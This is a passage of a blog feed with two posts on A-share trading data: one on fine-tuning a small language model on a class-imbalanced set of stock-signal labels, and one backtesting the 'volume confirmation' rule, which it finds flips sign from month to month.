        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;high&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;float&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;33&lt;/span&gt;&lt;span class="p"&gt;]),&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;low&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;float&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;34&lt;/span&gt;&lt;span class="p"&gt;]),&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;volume&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;float&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;]),&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Each snapshot becomes a chat-style training row (&lt;code&gt;instruction&lt;/code&gt; / &lt;code&gt;input&lt;/code&gt; / &lt;code&gt;output&lt;/code&gt;), where &lt;code&gt;output&lt;/code&gt; is a structured verdict: signal label, reasoning, action, risk note. After a few months of collection the file sits at &lt;strong&gt;549 rows over 12 tickers&lt;/strong&gt;, and the label distribution is already a warning sign:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;175  缩量回调寻底      (low-volume pullback)
155  趋势上涨通道      (trend following)
146  横盘震荡          (sideways consolidation)
 43  关键放量突破      (breakout with volume)
 30  高位放量崩塌      (distribution day)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The gap between the most and least frequent class is &lt;strong&gt;5.8:1&lt;/strong&gt;. The rarest class — the one that tells you to &lt;em&gt;get out&lt;/em&gt; — is also the one that matters most. That ratio, not the model size, turned out to be the whole story.&lt;/p&gt;

&lt;h2&gt;
  
  
  The training run
&lt;/h2&gt;

&lt;p&gt;Base model: Qwen2.5-7B-Instruct, QLoRA 4-bit, Unsloth, on a single RTX 3080. Rank 16, 3 epochs = 78 steps ≈ 4 minutes. That's the part everyone tweets about, and it works exactly as advertised.&lt;/p&gt;

&lt;p&gt;Three things broke, and all three are boring infrastructure bugs worth knowing before you burn an evening:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;trl&lt;/code&gt; version matters more than it should.&lt;/strong&gt; &lt;code&gt;trl==0.20.0&lt;/code&gt; worked; 0.23/0.24 threw an entropy-related training bug. Pin it.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Chat templates with custom tokens.&lt;/strong&gt; If your dataset uses &lt;code&gt;&amp;lt;EOS_TOKEN&amp;gt;&lt;/code&gt; / &lt;code&gt;&amp;lt;PAD_TOKEN&amp;gt;&lt;/code&gt; placeholders, they must be registered in the tokenizer vocabulary first, otherwise loss silently ignores them.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Environment isolation.&lt;/strong&gt; My agent's Python environment had a different NumPy build than the training venv. Training in the wrong interpreter gave ABI crashes that look like CUDA problems. Use a dedicated venv, not the one your agent runs in.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  The result that mattered
&lt;/h2&gt;

&lt;p&gt;First run (rank 16, 3 epochs): the model produced fluent Chinese analysis but didn't reliably follow the output format of the training rows. Classic under-training. So I went to 8 epochs — about 11 minutes — and the format aligned. Good.&lt;/p&gt;

&lt;p&gt;Then I did what I should have done first: I held the eval set fixed and changed one thing at a time.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;rank 16 → rank 64 (4x the trainable parameters)&lt;/li&gt;
&lt;li&gt;3 epochs → 8 epochs&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The aggregate score did not move beyond run-to-run noise. What moved was &lt;strong&gt;which examples were wrong&lt;/strong&gt;. The same structural failure persisted in both runs: the 30-sample &lt;em&gt;distribution day&lt;/em&gt; class kept collapsing into the far more common &lt;em&gt;pullback&lt;/em&gt; class, because a 5.8:1 prior is a stronger signal than the few distinguishing examples. Extra capacity just reshuffled which individual rows got hit.&lt;/p&gt;

&lt;p&gt;That's the useful takeaway, and it's not specific to stocks:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;When your dataset is coverage-bound, adding capacity only reorders your errors. It doesn't create knowledge that isn't in the examples.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;A 7B model with rank-64 adapters still only knows what the 549 rows taught it. In this task, the rows also had a deeper problem: the input is a &lt;em&gt;single day&lt;/em&gt; of price and volume, but the label depends on &lt;strong&gt;market regime&lt;/strong&gt; — what the index did that week, whether the sector was rotating, what the volume looked like relative to the last 20 sessions. The model couldn't see the variable that determines the answer. No amount of LoRA fixes a missing feature.&lt;/p&gt;

&lt;h2&gt;
  
  
  What I'd do differently (in order)
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Fix the label distribution before touching hyperparameters.&lt;/strong&gt; Oversample or synthesise the scarce classes until the ratio is under 2:1. My rare class has 30 examples; that's not a class, it's an anecdote.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Give the model the regime, not just the snapshot.&lt;/strong&gt; Attach 20-day rolling context (index return, sector breadth, relative volume percentile) to each row.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Split by time, never randomly.&lt;/strong&gt; Adjacent days of the same ticker are near-duplicates. A random split leaks the answer into your eval set and inflates the score.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Freeze the eval set before the first run.&lt;/strong&gt; Otherwise "I improved it" means "I picked the checkpoint that scored best on the set I kept looking at."&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Route low-confidence output to a re-check instead of trusting it.&lt;/strong&gt; A model that is right 80% of the time and knows when it's unsure is worth more than one that is confidently wrong on the 30 examples that matter.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  The part that actually shipped
&lt;/h2&gt;

&lt;p&gt;The fine-tune is the least interesting artifact from this project. The reusable pieces are:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;a &lt;strong&gt;free, key-less data pipeline&lt;/strong&gt; (Tencent quotes + a daily collector) that produces a clean snapshot file,&lt;/li&gt;
&lt;li&gt;a &lt;strong&gt;regime-split backtest&lt;/strong&gt; so that "this signal works" is a claim with a date range attached, and&lt;/li&gt;
&lt;li&gt;the &lt;strong&gt;failure log&lt;/strong&gt; above, which is what stopped me from shipping a model that was fluent and wrong.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I keep all three in the open here — including the negative results:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;→ &lt;a href="https://github.com/Felixwang007/a-share-signal-lab" rel="noopener noreferrer"&gt;github.com/Felixwang007/a-share-signal-lab&lt;/a&gt;&lt;/strong&gt; — honest signal replication on real A-share data: 15,900 stock-days, regime-split backtests, and the free-data Python toolkit used above. No API keys, no paid feeds, runnable on a laptop.&lt;/p&gt;

&lt;p&gt;If you'd rather have the packaged version as an agent skill (the indicator library + the screening workflow, ready to drop into Claude Code / Cursor / any MCP client), it's also on the skill marketplaces — &lt;a href="https://xiaping.coze.com" rel="noopener noreferrer"&gt;虾评&lt;/a&gt; and Agensi — alongside the GitHub Trending aggregator I wrote about earlier.&lt;/p&gt;

&lt;p&gt;If you're fine-tuning anything on a few hundred rows: check your class balance and your train/test split &lt;em&gt;before&lt;/em&gt; you check your rank. In my case that was worth more than the 4x parameter bump — and it took 4 minutes to test instead of 4 hours.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Comments welcome — especially if you've hit the same coverage ceiling with domain-specific classifiers. I'd like to know what made the difference for you: synthetic data, better features, or a smaller, cleaner label set.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>ai</category>
      <category>python</category>
      <category>opensource</category>
      <category>stocks</category>
    </item>
    <item>
      <title>I Backtested 'Volume Confirmation' on 15,900 Real A-Share Stock-Days. It Flipped Sign Between Two Consecutive Months.</title>
      <dc:creator>Felixwang007</dc:creator>
      <pubDate>Thu, 10 Sep 2026 04:02:34 +0000</pubDate>
      <link>https://dev.to/felixwang007/i-backtested-volume-confirmation-on-15900-real-a-share-stock-days-it-flipped-sign-between-two-977</link>
      <guid>https://dev.to/felixwang007/i-backtested-volume-confirmation-on-15900-real-a-share-stock-days-it-flipped-sign-between-two-977</guid>
      <description>&lt;p&gt;Every popular rule in Chinese retail trading has a cousin in English: &lt;em&gt;a big up day on strong volume continues; a big up day on weak volume fails.&lt;/em&gt; In A-shares it is usually phrased as &lt;strong&gt;量价配合&lt;/strong&gt; — price and volume must agree.&lt;/p&gt;

&lt;p&gt;I wanted to know if it survives contact with real data. So I pulled daily bars for &lt;strong&gt;584 liquid Shanghai/Shenzhen names&lt;/strong&gt; from free public endpoints (no API key, no paid vendor), built &lt;strong&gt;15,900 stock-days&lt;/strong&gt;, and conditioned the next day's return on today's move and today's volume ratio. Then I split every bucket by calendar month.&lt;/p&gt;

&lt;p&gt;The rule works beautifully — until you split it by month. Then it flips sign.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Repo with the full script: &lt;a href="https://github.com/Felixwang007/a-share-signal-lab" rel="noopener noreferrer"&gt;github.com/Felixwang007/a-share-signal-lab&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Why this question, on this particular day
&lt;/h2&gt;

&lt;p&gt;Right now (midday, Sep 10 2026) the Shanghai Composite is at 3937.78, down 0.35%, on about ¥1.09 trillion of turnover — and here is the interesting part: out of &lt;strong&gt;5,217 stocks I scanned, only 1,078 are up (20.7%)&lt;/strong&gt;, while there are &lt;strong&gt;36 limit-ups against 6 limit-downs&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;That is a narrow, theme-driven tape. Breadth is terrible; a small set of names is being chased hard. This is exactly the regime in which momentum rules look infallible — and exactly the regime where "the setup" quietly stops working the week after you commit to it.&lt;/p&gt;

&lt;h2&gt;
  
  
  Method
&lt;/h2&gt;

&lt;p&gt;For every stock-day &lt;code&gt;t&lt;/code&gt; with at least 5 prior bars and one forward bar:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;field&lt;/th&gt;
&lt;th&gt;definition&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;today&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;close[t] / close[t-1] - 1&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;vr&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;volume[t] / mean(volume[t-5..t-1])&lt;/code&gt; — volume ratio vs the 5-day average&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;next&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;close[t+1] / close[t] - 1&lt;/code&gt; — the thing being predicted&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;bars&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;bars&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;bars&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="n"&gt;vols&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;volume&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;bars&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;]]&lt;/span&gt;
    &lt;span class="n"&gt;avg5&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;sum&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;vols&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="mf"&gt;5.0&lt;/span&gt;
    &lt;span class="n"&gt;rows&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;
        &lt;span class="n"&gt;code&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;date&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
        &lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;close&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;close&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mf"&gt;1.0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;      &lt;span class="c1"&gt;# today
&lt;/span&gt;        &lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;volume&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="n"&gt;avg5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;                 &lt;span class="c1"&gt;# volume ratio
&lt;/span&gt;        &lt;span class="n"&gt;bars&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;close&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;close&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mf"&gt;1.0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;   &lt;span class="c1"&gt;# tomorrow
&lt;/span&gt;    &lt;span class="p"&gt;))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Everything below is computed from that. No synthetic data, no curve fitting.&lt;/p&gt;

&lt;h2&gt;
  
  
  Baseline first
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;everything   n=15900   next-day mean=-0.063%   median=-0.123%   win=47.3%
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The window drifts slightly down. Keep that number — it is the yardstick for every "signal" that follows. Most retail backtests never print this line, and that omission is where fake edges come from.&lt;/p&gt;

&lt;h2&gt;
  
  
  Conditioned on today's move
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;down &amp;gt;3%          n= 2330   mean=-0.184%   win=45.8%
down 1-3%         n= 3530   mean=+0.110%   win=49.5%
flat +/-1%        n= 4743   mean=-0.061%   win=47.5%
up 1-3%           n= 3162   mean=-0.192%   win=46.0%
up 3-9.5%         n= 1797   mean=-0.260%   win=44.8%
limit-up &amp;gt;9.5%    n=  338   mean=+1.199%   win=56.5%
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Only limit-ups show positive aggregate follow-through. Note what this already tells you: &lt;strong&gt;buying a normal 3-9.5% up day is worse than doing nothing&lt;/strong&gt; in this sample — about 1,797 opportunities per quarter, 44.8% win rate.&lt;/p&gt;

&lt;h2&gt;
  
  
  Conditioned on volume alone
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;vol &amp;lt;0.7x   (dry)     n= 2293   mean=-0.121%   win=45.3%
vol 0.7-1.3x (normal) n=10852   mean=-0.050%   win=47.7%
vol 1.3-2x  (mild)    n= 2291   mean=-0.099%   win=46.7%
vol 2-3x    (spike)   n=  371   mean=+0.168%   win=50.4%
vol &amp;gt;3x     (huge)    n=   93   mean=-0.169%   win=48.4%
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Volume by itself is close to information-free. And "huge volume" is not bullish — n=93, negative mean. Anyone who has traded A-shares long enough has watched a 巨量 day mark the top; the data agrees, weakly.&lt;/p&gt;

&lt;h2&gt;
  
  
  The cross — where the rule lives
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;up 3-9.5%   vol &amp;lt;0.7x     n=   37   mean=-0.295%   win=37.8%
up 3-9.5%   vol 0.7-1.3x  n=  828   mean=-0.560%   win=42.5%
up 3-9.5%   vol 1.3-2x    n=  709   mean=-0.049%   win=46.4%
up 3-9.5%   vol 2-3x      n=  187   mean=+0.346%   win=50.8%
up 3-9.5%   vol &amp;gt;3x       n=   36   mean=-0.617%   win=41.7%
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In aggregate the folk rule holds: the "big up day on weak volume" bucket is the second-worst in the entire study (&lt;code&gt;-0.560%&lt;/code&gt;, 42.5% win), and it is the single most crowded bad trade in the market — &lt;strong&gt;865 samples, 5.4% of all stock-days.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;And the middle row is the confirmation: same move, volume 2-3x, and the sign flips to positive (+0.346%, 50.8% win).&lt;/p&gt;

&lt;p&gt;So: rule confirmed. Right? Let me ruin it.&lt;/p&gt;

&lt;h2&gt;
  
  
  Split by month
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;setup                    2026-06          2026-07          2026-08    stable?
limit-up &amp;gt;=9.5%        +2.18%/64.2%     -1.39%/35.6%     +5.46%/100%    flips
up 3-9.5%, vol &amp;gt;=2x    +0.48%/52.0%     -0.33%/44.2%     +2.32%/71.4%   flips
up 3-9.5%, vol 1.3-2x  +0.43%/52.6%     -0.71%/37.7%     +0.69%/52.6%   flips
up 3-9.5%, vol &amp;lt;1.3x   +0.18%/50.2%     -1.43%/32.5%     -0.61%/42.9%   flips
flat, vol &amp;lt;0.7x        -0.12%/44.8%     -0.17%/45.4%     +0.52%/52.8%   flips
down &amp;gt;3%, vol &amp;lt;0.7x    +0.01%/53.4%     -1.15%/33.9%     +0.57%/60.0%   flips
down &amp;gt;3%, vol &amp;gt;=2x     +0.60%/46.2%     -1.24%/36.8%         n/a        flips
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;All seven setups flip.&lt;/strong&gt; The headline: limit-up follow-through was &lt;strong&gt;+2.18% with a 64.2% win rate in June&lt;/strong&gt; and &lt;strong&gt;-1.39% with a 35.6% win rate in July&lt;/strong&gt;. Same rule, same market, thirty days apart.&lt;/p&gt;

&lt;p&gt;A trader who validated the rule in June, sized up in July, and then blamed their psychology has misdiagnosed the problem entirely. The rule was never a rule. It was June.&lt;/p&gt;

&lt;p&gt;(The August column is shown for completeness, but n=5-36 per bucket. Do not read it as evidence — including the 100% win rate. This is exactly the trap the whole post is about.)&lt;/p&gt;

&lt;h2&gt;
  
  
  The one-line fix: measure net of drift
&lt;/h2&gt;

&lt;p&gt;A setup's edge is not its raw mean. It is its mean &lt;strong&gt;minus whatever the market itself did&lt;/strong&gt; that month:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;setup                   month      n    setup    drift    excess
limit-up &amp;gt;=9.5%        2026-06    229   +2.18%  +0.049%    +2.13pp
limit-up &amp;gt;=9.5%        2026-07    101   -1.39%  -0.236%    -1.15pp
up 3-9.5%, vol &amp;gt;=2x    2026-06    127   +0.48%  +0.049%    +0.43pp
up 3-9.5%, vol &amp;gt;=2x    2026-07     86   -0.33%  -0.236%    -0.09pp
up 3-9.5%, vol &amp;lt;1.3x   2026-06    462   +0.18%  +0.049%    +0.13pp
up 3-9.5%, vol &amp;lt;1.3x   2026-07    369   -1.43%  -0.236%    -1.20pp
down &amp;gt;3%, vol &amp;lt;0.7x    2026-06    103   +0.01%  +0.049%    -0.04pp
down &amp;gt;3%, vol &amp;lt;0.7x    2026-07    174   -1.15%  -0.236%    -0.91pp
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The excess flips as well — and it flips &lt;em&gt;harder&lt;/em&gt; than the drift. These setups are not independent alpha. They are &lt;strong&gt;amplifiers of the current regime&lt;/strong&gt;: when the tape's next-day drift is positive they magnify it, when it is negative they magnify the loss. Magnitude ratios in this sample run from 1.4x to 6x the baseline drift.&lt;/p&gt;

&lt;p&gt;In code, the entire discipline is one extra line:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;drift&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;mean&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nb"&gt;next&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;month_rows&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;      &lt;span class="c1"&gt;# equal-weighted market drift
&lt;/span&gt;&lt;span class="n"&gt;excess&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;mean&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nb"&gt;next&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;setup_rows&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;drift&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Two things stop being possible once you do this. You can no longer mistake a bull month for a skill. And you can no longer be surprised when your "validated" setup bleeds for six weeks.&lt;/p&gt;

&lt;h2&gt;
  
  
  What I actually took away
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Print the baseline before printing the signal.&lt;/strong&gt; One line, removes the largest source of fake edge.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Require the excess to keep its sign across at least two regimes&lt;/strong&gt; before risking money. On this dataset that filter kills all seven setups. That is a correct output of an honest test, not a failure of the test.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Sample size does not rescue you.&lt;/strong&gt; The biggest buckets (10,852 normal-volume days, 8,219 flat days) sit closest to the baseline. The exciting buckets are the small ones. n=93 "huge volume" days will happily support any story you want to tell — mine included.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The most dependable number in the whole study is the baseline:&lt;/strong&gt; 47.3% win rate, negative mean. In a flat-to-down tape, most aggressive entries have negative expectancy &lt;em&gt;before&lt;/em&gt; costs and before T+1 constraint — neither of which this study models.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Caveats, stated plainly
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;584 liquid, mostly well-known names — &lt;strong&gt;not the full ~5,200-stock market.&lt;/strong&gt; Microcaps and new listings are absent.&lt;/li&gt;
&lt;li&gt;Four months, heavily weighted to June-July. Effective sample is smaller than n suggests because consecutive stock-days overlap and are not independent. No significance testing is claimed anywhere in this post.&lt;/li&gt;
&lt;li&gt;No costs, no slippage, no T+1 executability check, no limit-up fill assumption. A signal you cannot fill is not a signal.&lt;/li&gt;
&lt;li&gt;Volume ratio uses a 5-day average; other windows produce other buckets.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Reproduce it (free data, no API key)
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;git clone https://github.com/Felixwang007/a-share-signal-lab
python study.py bars.json
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;bars.json&lt;/code&gt; needs &lt;code&gt;daily_history&lt;/code&gt; — a per-code list of &lt;code&gt;{date, open, high, low, close, volume}&lt;/code&gt;. Data sources that work without a key:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;web.ifzq.gtimg.cn/appstock/app/fqkline/get?param=sh600519,day,,,320,qfq&lt;/code&gt; — daily K-lines, 320 bars&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;vip.stock.finance.sina.com.cn/.../Market_Center.getHQNodeData&lt;/code&gt; — full-market snapshots for breadth&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;qt.gtimg.cn/q=sh000001,sz399001&lt;/code&gt; — index quotes (GBK-encoded, pipe through &lt;code&gt;iconv&lt;/code&gt; if you are on a Unix shell)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The script prints all six tables above, including the monthly split, so you can drop in your own market, your own window, and your own definition of "volume spike."&lt;/p&gt;




&lt;p&gt;If you want the packaged version of this workflow as an agent skill — the same free-data pipeline, the drift normalizer, and a breadth/limit-up regime gauge — I publish skills on &lt;a href="https://xiaping.coze.com" rel="noopener noreferrer"&gt;虾评 (xiaping.coze.com)&lt;/a&gt;, and the study repo above is the reference implementation. If you run the split-by-regime test on a different market (US, HK, crypto), I would genuinely like to see whether your setups flip too — my guess is that most of them do.&lt;/p&gt;

</description>
      <category>ai</category>
      <category>python</category>
      <category>opensource</category>
      <category>stocks</category>
    </item>
    <item>
